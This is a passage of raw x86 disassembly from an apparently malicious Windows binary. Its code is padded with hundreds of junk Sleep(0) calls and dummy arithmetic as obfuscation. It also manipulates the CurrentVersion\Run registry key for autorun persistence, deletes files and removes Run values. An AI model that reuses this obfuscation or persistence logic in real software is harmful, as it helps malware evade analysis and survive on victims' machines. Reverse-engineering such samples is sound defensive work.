jge 0x407bc9
jmp 0x407bd3
mov dword [ebp - 0x68c], 1
lea eax, [ebp - 0x6f8]
push eax
push 0x4355a4
lea ecx, [ebp - 0x1bf8]
push ecx
call fcn.0041020b
add esp, 0xc
lea edx, [ebp - 0x2144]
push edx
lea eax, [ebp - 0x1bf8]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [ebp - 0x608], eax
cmp dword [ebp - 0x608], 0
jne 0x408c59
mov dword [ebp - 0x700], 0
mov dword [ebp - 0x2924], 0xc9
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2924]
add ecx, 6
mov dword [ebp - 0x2924], ecx
mov dword [ebp - 0x2928], 0xc9
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2928]
add edx, 6
mov dword [ebp - 0x2928], edx
mov dword [ebp - 0x292c], 0xc9
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x292c]
add eax, 6
mov dword [ebp - 0x292c], eax
mov dword [ebp - 0x2930], 0xc9
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2930]
add ecx, 6
mov dword [ebp - 0x2930], ecx
mov dword [ebp - 0x2934], 0xc9
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2934]
add edx, 6
mov dword [ebp - 0x2934], edx
mov dword [ebp - 0x2938], 0xc9
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2938]
add eax, 6
mov dword [ebp - 0x2938], eax
mov dword [ebp - 0x293c], 0xc9
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x293c]
add ecx, 6
mov dword [ebp - 0x293c], ecx
mov dword [ebp - 0x2940], 0xc9
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2940]
add edx, 6
mov dword [ebp - 0x2940], edx
mov dword [ebp - 0x588], 0x104
lea eax, [ebp - 0x588]
push eax
lea ecx, [ebp - 0x2250]
push ecx
lea edx, [ebp - 0x584]
push edx
push 0
push 0x4355b0
mov eax, dword [ebp - 0x2144]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x407d6d
mov dword [ebp - 0x588], 0x104
lea ecx, [ebp - 0x588]
push ecx
lea edx, [ebp - 0x818]
push edx
lea eax, [ebp - 0x584]
push eax
push 0
push 0x4355b4
mov ecx, dword [ebp - 0x2144]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x408c59
fld qword [0x436050]
fstp qword [ebp - 0x2950]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2950]
fadd qword [0x436048]
fstp qword [ebp - 0x2950]
fld qword [0x436050]
fstp qword [ebp - 0x2958]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2958]
fadd qword [0x436048]
fstp qword [ebp - 0x2958]
fld qword [0x436050]
fstp qword [ebp - 0x2960]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2960]
fadd qword [0x436048]
fstp qword [ebp - 0x2960]
fld qword [0x436050]
fstp qword [ebp - 0x2968]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2968]
fadd qword [0x436048]
fstp qword [ebp - 0x2968]
fld qword [0x436050]
fstp qword [ebp - 0x2970]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2970]
fadd qword [0x436048]
fstp qword [ebp - 0x2970]
fld qword [0x436050]
fstp qword [ebp - 0x2978]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2978]
fadd qword [0x436048]
fstp qword [ebp - 0x2978]
lea edx, [ebp - 0x818]
push edx
call fcn.0040f320
add esp, 4
shr eax, 1
mov dword [ebp - 0x618], eax
lea eax, [ebp - 0x3f0]
push eax
lea ecx, [ebp - 0x818]
push ecx
call fcn.00402c20
add esp, 8
mov byte [ebp - 0x2979], 0x4a
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2979]
add edx, 0x35
mov byte [ebp - 0x2979], dl
movzx eax, byte [ebp - 0x1e09]
push eax
mov ecx, dword [ebp - 0x618]
push ecx
lea edx, [ebp - 0x3f0]
push edx
call fcn.00402fc0
add esp, 0xc
fld qword [0x435d68]
fstp qword [ebp - 0x2988]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2988]
fadd qword [0x436040]
fstp qword [ebp - 0x2988]
fld qword [0x435d68]
fstp qword [ebp - 0x2990]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2990]
fadd qword [0x436040]
fstp qword [ebp - 0x2990]
fld qword [0x435d68]
fstp qword [ebp - 0x2998]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2998]
fadd qword [0x436040]
fstp qword [ebp - 0x2998]
fld qword [0x435d68]
fstp qword [ebp - 0x29a0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x29a0]
fadd qword [0x436040]
fstp qword [ebp - 0x29a0]
fld qword [0x435d68]
fstp qword [ebp - 0x29a8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x29a8]
fadd qword [0x436040]
fstp qword [ebp - 0x29a8]
fld qword [0x435d68]
fstp qword [ebp - 0x29b0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x29b0]
fadd qword [0x436040]
fstp qword [ebp - 0x29b0]
fld qword [0x435d68]
fstp qword [ebp - 0x29b8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x29b8]
fadd qword [0x436040]
fstp qword [ebp - 0x29b8]
mov eax, dword [ebp - 0x618]
push eax
lea ecx, [ebp - 0x3f0]
push ecx
lea edx, [ebp - 0x818]
push edx
call fcn.004104b0
add esp, 0xc
mov byte [ebp - 0x29b9], 0x2f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x29b9]
add eax, 0xe
mov byte [ebp - 0x29b9], al
mov byte [ebp - 0x29ba], 0x2f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x29ba]
add ecx, 0xe
mov byte [ebp - 0x29ba], cl
mov byte [ebp - 0x29bb], 0x2f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x29bb]
add edx, 0xe
mov byte [ebp - 0x29bb], dl
mov byte [ebp - 0x29bc], 0x2f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x29bc]
add eax, 0xe
mov byte [ebp - 0x29bc], al
mov byte [ebp - 0x29bd], 0x2f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x29bd]
add ecx, 0xe
mov byte [ebp - 0x29bd], cl
mov byte [ebp - 0x29be], 0x2f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x29be]
add edx, 0xe
mov byte [ebp - 0x29be], dl
mov byte [ebp - 0x29bf], 0x2f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x29bf]
add eax, 0xe
mov byte [ebp - 0x29bf], al
mov ecx, dword [ebp - 0x618]
mov byte [ebp + ecx - 0x818], 0
fld qword [0x435e20]
fstp qword [ebp - 0x29c8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x29c8]
fadd qword [0x436038]
fstp qword [ebp - 0x29c8]
fld qword [0x435e20]
fstp qword [ebp - 0x29d0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x29d0]
fadd qword [0x436038]
fstp qword [ebp - 0x29d0]
fld qword [0x435e20]
fstp qword [ebp - 0x29d8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x29d8]
fadd qword [0x436038]
fstp qword [ebp - 0x29d8]
fld qword [0x435e20]
fstp qword [ebp - 0x29e0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x29e0]
fadd qword [0x436038]
fstp qword [ebp - 0x29e0]
fld qword [0x435e20]
fstp qword [ebp - 0x29e8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x29e8]
fadd qword [0x436038]
fstp qword [ebp - 0x29e8]
mov edx, dword [ebp - 0x2144]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x29ec], 0xa4
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x29ec]
add eax, 0x16
mov dword [ebp - 0x29ec], eax
mov dword [ebp - 0x29f0], 0xa4
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x29f0]
add ecx, 0x16
mov dword [ebp - 0x29f0], ecx
mov dword [ebp - 0x29f4], 0xa4
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x29f4]
add edx, 0x16
mov dword [ebp - 0x29f4], edx
mov dword [ebp - 0x29f8], 0xa4
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x29f8]
add eax, 0x16
mov dword [ebp - 0x29f8], eax
mov dword [ebp - 0x29fc], 0xa4
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x29fc]
add ecx, 0x16
mov dword [ebp - 0x29fc], ecx
mov dword [ebp - 0x2a00], 0xa4
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2a00]
add edx, 0x16
mov dword [ebp - 0x2a00], edx
mov dword [ebp - 0x2a04], 0xa4
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2a04]
add eax, 0x16
mov dword [ebp - 0x2a04], eax
mov dword [ebp - 0x2a08], 0xa4
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2a08]
add ecx, 0x16
mov dword [ebp - 0x2a08], ecx
mov dword [ebp - 0x2a0c], 0xa4
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2a0c]
add edx, 0x16
mov dword [ebp - 0x2a0c], edx
push 0x104
lea eax, [ebp - 0x1bf8]
push eax
call fcn.00403a00
add esp, 8
mov byte [ebp - 0x2a0d], 0x46
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2a0d]
add ecx, 0xf7
mov byte [ebp - 0x2a0d], cl
mov byte [ebp - 0x2a0e], 0x46
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2a0e]
add edx, 0xf7
mov byte [ebp - 0x2a0e], dl
push 0x4355c0
lea eax, [ebp - 0x1bf8]
push eax
call fcn.0040f850
add esp, 8
fld qword [0x436030]
fstp qword [ebp - 0x2a18]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2a18]
fadd qword [0x436028]
fstp qword [ebp - 0x2a18]
fld qword [0x436030]
fstp qword [ebp - 0x2a20]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2a20]
fadd qword [0x436028]
fstp qword [ebp - 0x2a20]
lea ecx, [ebp - 0x818]
push ecx
lea edx, [ebp - 0x1bf8]
push edx
call fcn.0040f850
add esp, 8
mov dword [ebp - 0x2a24], pe_nt_image_headers32
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2a24]
add eax, 0xdf
mov dword [ebp - 0x2a24], eax
mov dword [ebp - 0x2a28], pe_nt_image_headers32
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2a28]
add ecx, 0xdf
mov dword [ebp - 0x2a28], ecx
mov dword [ebp - 0x2a2c], pe_nt_image_headers32
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2a2c]
add edx, 0xdf
mov dword [ebp - 0x2a2c], edx
mov dword [ebp - 0x2a30], pe_nt_image_headers32
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2a30]
add eax, 0xdf
mov dword [ebp - 0x2a30], eax
mov dword [ebp - 0x2a34], pe_nt_image_headers32
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2a34]
add ecx, 0xdf
mov dword [ebp - 0x2a34], ecx
mov dword [ebp - 0x2a38], pe_nt_image_headers32
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2a38]
add edx, 0xdf
mov dword [ebp - 0x2a38], edx
mov dword [ebp - 0x2a3c], pe_nt_image_headers32
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2a3c]
add eax, 0xdf
mov dword [ebp - 0x2a3c], eax
mov dword [ebp - 0x2a40], pe_nt_image_headers32
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2a40]
add ecx, 0xdf
mov dword [ebp - 0x2a40], ecx
lea edx, [ebp - 0x818]
push edx
lea eax, [ebp - 0x1bf8]
push eax
call fcn.0040f840
add esp, 8
mov byte [ebp - 0x2a41], 0x83
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2a41]
add ecx, 0x84
mov byte [ebp - 0x2a41], cl
mov byte [ebp - 0x2a42], 0x83
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2a42]
add edx, 0x84
mov byte [ebp - 0x2a42], dl
mov byte [ebp - 0x2a43], 0x83
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2a43]
add eax, 0x84
mov byte [ebp - 0x2a43], al
mov byte [ebp - 0x2a44], 0x83
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2a44]
add ecx, 0x84
mov byte [ebp - 0x2a44], cl
mov byte [ebp - 0x2a45], 0x83
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2a45]
add edx, 0x84
mov byte [ebp - 0x2a45], dl
mov byte [ebp - 0x2a46], 0x83
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2a46]
add eax, 0x84
mov byte [ebp - 0x2a46], al
lea ecx, [ebp - 0x1bf8]
push ecx
call fcn.0040f320
add esp, 4
mov dword [ebp - 0x618], eax
movzx edx, byte [ebp - 0x1e09]
push edx
mov eax, dword [ebp - 0x618]
push eax
lea ecx, [ebp - 0x1bf8]
push ecx
call fcn.00402fc0
add esp, 0xc
mov dword [ebp - 0x2a4c], 0x5c
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2a4c]
add edx, 0xcb
mov dword [ebp - 0x2a4c], edx
mov dword [ebp - 0x2a50], 0x5c
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2a50]
add eax, 0xcb
mov dword [ebp - 0x2a50], eax
mov dword [ebp - 0x2a54], 0x5c
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2a54]
add ecx, 0xcb
mov dword [ebp - 0x2a54], ecx
lea edx, [ebp - 0x688]
push edx
mov eax, dword [ebp - 0x618]
push eax
lea ecx, [ebp - 0x1bf8]
push ecx
call fcn.00403080
add esp, 0xc
fld qword [0x436020]
fstp qword [ebp - 0x2a60]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2a60]
fadd qword [0x435e38]
fstp qword [ebp - 0x2a60]
fld qword [0x436020]
fstp qword [ebp - 0x2a68]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2a68]
fadd qword [0x435e38]
fstp qword [ebp - 0x2a68]
fld qword [0x436020]
fstp qword [ebp - 0x2a70]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2a70]
fadd qword [0x435e38]
fstp qword [ebp - 0x2a70]
fld qword [0x436020]
fstp qword [ebp - 0x2a78]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2a78]
fadd qword [0x435e38]
fstp qword [ebp - 0x2a78]
fld qword [0x436020]
fstp qword [ebp - 0x2a80]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2a80]
fadd qword [0x435e38]
fstp qword [ebp - 0x2a80]
fld qword [0x436020]
fstp qword [ebp - 0x2a88]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2a88]
fadd qword [0x435e38]
fstp qword [ebp - 0x2a88]
fld qword [0x436020]
fstp qword [ebp - 0x2a90]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2a90]
fadd qword [0x435e38]
fstp qword [ebp - 0x2a90]
push 0x4352cf
lea edx, [ebp - 0x2028]
push edx
call fcn.0040f840
add esp, 8
lea eax, [ebp - 0x2144]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersion_run
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov byte [ebp - 0x2a91], 0x96
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2a91]
add ecx, 0xc
mov byte [ebp - 0x2a91], cl
mov byte [ebp - 0x2a92], 0x96
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2a92]
add edx, 0xc
mov byte [ebp - 0x2a92], dl
mov byte [ebp - 0x2a93], 0x96
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2a93]
add eax, 0xc
mov byte [ebp - 0x2a93], al
mov byte [ebp - 0x2a94], 0x96
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2a94]
add ecx, 0xc
mov byte [ebp - 0x2a94], cl
mov byte [ebp - 0x2a95], 0x96
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2a95]
add edx, 0xc
mov byte [ebp - 0x2a95], dl
mov byte [ebp - 0x2a96], 0x96
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2a96]
add eax, 0xc
mov byte [ebp - 0x2a96], al
mov dword [ebp - 0x588], 0x104
lea ecx, [ebp - 0x588]
push ecx
lea edx, [ebp - 0x2028]
push edx
lea eax, [ebp - 0x584]
push eax
push 0
lea ecx, [ebp - 0x688]
push ecx
mov edx, dword [ebp - 0x2144]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x2a9c], 0xed
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2a9c]
add eax, 0x2c
mov dword [ebp - 0x2a9c], eax
mov dword [ebp - 0x2aa0], 0xed
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2aa0]
add ecx, 0x2c
mov dword [ebp - 0x2aa0], ecx
mov edx, dword [ebp - 0x2144]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x2aa4], 0xc7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2aa4]
add eax, 0xb6
mov dword [ebp - 0x2aa4], eax
mov dword [ebp - 0x2aa8], 0xc7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2aa8]
add ecx, 0xb6
mov dword [ebp - 0x2aa8], ecx
mov dword [ebp - 0x2aac], 0xc7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2aac]
add edx, 0xb6
mov dword [ebp - 0x2aac], edx
mov dword [ebp - 0x2ab0], 0xc7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2ab0]
add eax, 0xb6
mov dword [ebp - 0x2ab0], eax
mov dword [ebp - 0x2ab4], 0xc7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2ab4]
add ecx, 0xb6
mov dword [ebp - 0x2ab4], ecx
mov dword [ebp - 0x2ab8], 0xc7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2ab8]
add edx, 0xb6
mov dword [ebp - 0x2ab8], edx
mov dword [ebp - 0x2abc], 0xc7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2abc]
add eax, 0xb6
mov dword [ebp - 0x2abc], eax
mov dword [ebp - 0x2ac0], 0xc7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2ac0]
add ecx, 0xb6
mov dword [ebp - 0x2ac0], ecx
mov dword [ebp - 0x2ac4], 0xc7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2ac4]
add edx, 0xb6
mov dword [ebp - 0x2ac4], edx
lea eax, [ebp - 0x2028]
push eax
call fcn.00402b60
add esp, 4
mov dword [ebp - 0x2944], eax
cmp dword [ebp - 0x2944], 0x2c00
jge 0x408c4f
fld qword [0x436150]
fstp qword [ebp - 0x2ad0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2ad0]
fadd qword [0x436018]
fstp qword [ebp - 0x2ad0]
fld qword [0x436150]
fstp qword [ebp - 0x2ad8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2ad8]
fadd qword [0x436018]
fstp qword [ebp - 0x2ad8]
lea ecx, [ebp - 0x2028]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
fld qword [0x436010]
fstp qword [ebp - 0x2ae0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2ae0]
fadd qword [0x436008]
fstp qword [ebp - 0x2ae0]
fld qword [0x436010]
fstp qword [ebp - 0x2ae8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2ae8]
fadd qword [0x436008]
fstp qword [ebp - 0x2ae8]
fld qword [0x436010]
fstp qword [ebp - 0x2af0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2af0]
fadd qword [0x436008]
fstp qword [ebp - 0x2af0]
lea edx, [ebp - 0x2920]
push edx
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x2af4], 0x9f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2af4]
add eax, 0x4f
mov dword [ebp - 0x2af4], eax
mov dword [ebp - 0x2af8], 0x9f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2af8]
add ecx, 0x4f
mov dword [ebp - 0x2af8], ecx
mov dword [ebp - 0x2afc], 0x9f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2afc]
add edx, 0x4f
mov dword [ebp - 0x2afc], edx
mov dword [ebp - 0x2b00], 0x9f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2b00]
add eax, 0x4f
mov dword [ebp - 0x2b00], eax
lea ecx, [ebp - 0x688]
push ecx
mov edx, dword [ebp - 0x2920]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
fld qword [0x436000]
fstp qword [ebp - 0x2b08]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2b08]
fadd qword [0x435ff8]
fstp qword [ebp - 0x2b08]
fld qword [0x436000]
fstp qword [ebp - 0x2b10]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2b10]
fadd qword [0x435ff8]
fstp qword [ebp - 0x2b10]
fld qword [0x436000]
fstp qword [ebp - 0x2b18]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2b18]
fadd qword [0x435ff8]
fstp qword [ebp - 0x2b18]
mov eax, dword [ebp - 0x2920]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x408c59
mov dword [ebp - 0x1e4], 0
fld qword [0x435ff0]
fstp qword [ebp - 0x2b20]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2b20]
fadd qword [0x435fe8]
fstp qword [ebp - 0x2b20]
fld qword [0x435ff0]
fstp qword [ebp - 0x2b28]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2b28]
fadd qword [0x435fe8]
fstp qword [ebp - 0x2b28]
fld qword [0x435ff0]
fstp qword [ebp - 0x2b30]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2b30]
fadd qword [0x435fe8]
fstp qword [ebp - 0x2b30]
fld qword [0x435ff0]
fstp qword [ebp - 0x2b38]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2b38]
fadd qword [0x435fe8]
fstp qword [ebp - 0x2b38]
fld qword [0x435ff0]
fstp qword [ebp - 0x2b40]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2b40]
fadd qword [0x435fe8]
fstp qword [ebp - 0x2b40]
fld qword [0x435ff0]
fstp qword [ebp - 0x2b48]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2b48]
fadd qword [0x435fe8]
fstp qword [ebp - 0x2b48]
fld qword [0x435ff0]
fstp qword [ebp - 0x2b50]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2b50]
fadd qword [0x435fe8]
fstp qword [ebp - 0x2b50]
push 0x435624
lea ecx, [ebp - 0x2250]
push ecx
call fcn.00411050
add esp, 8
test eax, eax
je 0x408d85
mov dword [ebp - 0x1e4], 1
cmp dword [ebp - 0x1e4], 0
je 0x40acd3
lea edx, [ebp - 0x688]
push edx
call fcn.0040f320
add esp, 4
test eax, eax
jbe 0x40941d
mov byte [ebp - 0x2cd9], 0x35
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2cd9]
add eax, 0xa3
mov byte [ebp - 0x2cd9], al
mov byte [ebp - 0x2cda], 0x35
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2cda]
add ecx, 0xa3
mov byte [ebp - 0x2cda], cl
mov byte [ebp - 0x2cdb], 0x35
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2cdb]
add edx, 0xa3
mov byte [ebp - 0x2cdb], dl
mov byte [ebp - 0x2cdc], 0x35
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2cdc]
add eax, 0xa3
mov byte [ebp - 0x2cdc], al
fld dword [0x435fe4]
fstp dword [ebp - 0x2ce0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2ce0]
fadd qword [0x436010]
fstp dword [ebp - 0x2ce0]
fld dword [0x435fe4]
fstp dword [ebp - 0x2ce4]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2ce4]
fadd qword [0x436010]
fstp dword [ebp - 0x2ce4]
fld dword [0x435fe4]
fstp dword [ebp - 0x2ce8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2ce8]
fadd qword [0x436010]
fstp dword [ebp - 0x2ce8]
fld dword [0x435fe4]
fstp dword [ebp - 0x2cec]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2cec]
fadd qword [0x436010]
fstp dword [ebp - 0x2cec]
fld dword [0x435fe4]
fstp dword [ebp - 0x2cf0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2cf0]
fadd qword [0x436010]
fstp dword [ebp - 0x2cf0]
fld dword [0x435fe4]
fstp dword [ebp - 0x2cf4]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2cf4]
fadd qword [0x436010]
fstp dword [ebp - 0x2cf4]
fld dword [0x435fe4]
fstp dword [ebp - 0x2cf8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2cf8]
fadd qword [0x436010]
fstp dword [ebp - 0x2cf8]
mov byte [ebp - 0x2cf9], 0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2cf9]
add ecx, 0x4e
mov byte [ebp - 0x2cf9], cl
mov byte [ebp - 0x2cfa], 0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2cfa]
add edx, 0x4e
mov byte [ebp - 0x2cfa], dl
mov byte [ebp - 0x2cfb], 0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2cfb]
add eax, 0x4e
mov byte [ebp - 0x2cfb], al
lea ecx, [ebp - 0x2bcc]
push ecx
